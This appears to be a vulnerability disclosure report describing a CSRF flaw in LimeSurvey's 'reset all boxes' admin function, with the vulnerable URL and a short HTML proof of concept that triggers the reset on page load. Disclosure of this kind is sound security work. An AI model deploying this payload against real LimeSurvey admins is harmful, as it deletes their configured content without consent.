CSRF Leading to reset Boxes in limesurvey/limesurvey
Reported on
Apr 19th 2023
Description
Hello everyone,
During my testing on LimeSurvey's admin demo, it's found that the Boxes part of the application is vulnerable to CSRF affecting reset boxes functionality meaning that if an admin created some boxes an attacker could trick the admin to reset the boxes by following a link to an attacker-controlled page that submits the vulnerable GET request to reset the boxes, here is the vulnerable GET request:
https://demo.limesurvey.org/index.php?r=homepageSettings/resetAllBoxes
Proof of Concept
// csrf.html
<!DOCTYPE html>
<html>
<head>
<script>
window.onload = function() {
window.location = 'https://demo.limesurvey.org/index.php?r=homepageSettings/resetAllBoxes';
}
</script>
</head>
<body>
</body>
</html>
Impact
the CSRF could trick the admin to reset the boxes meaning all his created boxes will be deleted !